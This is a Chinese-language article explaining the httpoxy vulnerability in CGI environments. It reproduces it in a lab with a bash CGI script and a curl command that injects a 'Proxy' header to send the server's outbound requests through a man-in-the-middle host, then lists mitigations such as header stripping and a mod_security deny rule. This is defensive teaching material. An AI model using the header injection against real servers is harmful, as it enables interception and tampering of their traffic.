前段时间爆出了httpoxy漏洞,从爆出到现在也有两个礼拜了,然而还是有许多人肯定心中还是会有疑问——httpoxy漏洞到底是什么。

这里就让我们来一起看一下httpoxy漏洞到底是什么漏洞,它的成因及影响。

 

首先,我们要知道什么是httpoxy漏洞。

什么是httpoxy漏洞:

具体来说, httpoxy是一组影响运行在CGI 或者类似CGI环境的漏洞集。

http_poxy漏洞的原理:

由于在CGI(RFC 3875)的模式下,CGI 会把http请求中的Header 加上HTTP_ 前缀,并且注册为环境变量, 所以如果你在Header中发送一个Proxy:xxxxxx的头部, 那么cgi就会把他注册为HTTP_PROXY环境变量, 于是http_proxy=$HTTP_PROXY就变成可被***者控制的参数了。如果***者控制了你的http_proxy参数并实施***,那你的所有请求, 都会被代理到***者想要的地址,之后***者就可以伪造,监听,篡改你的请求了。这个就是httpoxy漏洞的原理。

 

要想成功利用httpoxy漏洞,需要几个前提条件:

(1)   服务器会对外请求资源;

(2)   服务器使用了HTTP_PROXY环境变量来代理请求;

(3)   服务器运行在CGI模式下;

Httpoxy漏洞***的重现

下面就以在kali中搭建的apache CGI环境来具体演示其成因(此处apache使用的是mod_phpapache模块模式不受httpoxy漏洞的影响):

 

由于我们这是自己搭的服务器,我们可以在其中添加cgi脚本,通过访问这个脚本来让服务器向外请求资源。

在服务器中新建一个CGI脚本文件xiaoqin00.cgi

 #!/bin/bash

    exporthttp_proxy=$HTTP_PROXY //设置http_proxy环境变量

    echo ''

    /usr/bin/env    //打印当前脚本的环境变量

    curl 121.42.181.29   //服务器向外访问资源

    exit 0

 

执行这个脚本我们可以看到打印出来的当前环境变量:

    SERVER_PORT=80

    HTTP_HOST=192.168.2.2

    http_proxy=

    DOCUMENT_ROOT=/var/www/html

 

此时,http_proxy还是空的,在运行过程中,CGI会赋予其相关的参数。

 

然后我们可以构造访问头来改变环境变量的值。

例如我们可以通过curl来自定义头部访问。

 

curl  –H  ‘Proxy:192.168.1.2:80’http://192.168.2.2/cgi-bin/xiaoqin00.cgi

(这里的192.168.1.2是我们的一台代理http服务器,用来作中间人;192.168.2.2apache服务器)

 

通过curl访问后,我们可以发现脚本环境变量发生了改变:

 ...HTTP_HOST=192.168.2.2

    http_proxy=192.168.1.2:80

    DOCUMENT_ROOT=/var/www/html

并且在192.168.1.2的日志文件中我们可以看到访问121.42.181.29的请求:

"GET HTTP://121.42.181.29/HTTP/1.1"

 

这就说明请求被中间人服务器捕捉到了,httpoxy漏洞重现了。

Httpoxy漏洞的抢救方法:

最直接的抢救方法是立即屏蔽http头中带有proxy字段的请求,这是最简单同时最有效的方法。

具体方法如下:

Nginx/FastCGI

使用以下语句来屏蔽PHPFPMPHPPM 之间的传递

fastcgi_param HTTP_PROXY"";

FastCGI配置中,PHP是极其容易受到影响的(但其他使用Nginx FastCGI的语言都OK

Apache

 对于具体的apache影响我们建议你阅读官方给出的资料,官方资料将会更加准确和深入。

如果你使用的是携带mod_cgi模块的apache http服务器,这时使用python或者Go代码语言则非常易受漏洞威胁(HTTP_PROXY环境变量是“真凶”)。mod_php则是因为PHP环境才被影响,如果你使用了mod_headers模块的话,在进一步处理指令前你可以先不要预设代理头。

RequestHeader unset Proxy early

如果你使用的是mod_security模块,你可以运用SecRule来阻断代理头的流量,以下例:

SecRule &REQUEST_HEADERS:Proxy"@gt 0" "id:1000005,log,deny,msg:'httpoxy denied'"

 最后,如果你使用的是apache流量服务器,它一般情况下不会受到影响,但你可以用它来strip 代理头部。具体参考ASF

HAProxy

脱离头部请求处理:

http-request del-header Proxy

varnish

对于varnish的处理:

sub vcl_recv {

   [...]

   unset req.http.proxy;

   [...]

}

OpenBSD relayd

对于relayd,删除头部并加上过滤器:

http protocol httpfilter {

       match request header remove "Proxy"

}


参考文章:

http://www.hetianlab.com/expc.do?ce=ffbbd18a-101a-411a-8df2-5eae97514e4a

http://www.freebuf.com/vuls/109451.html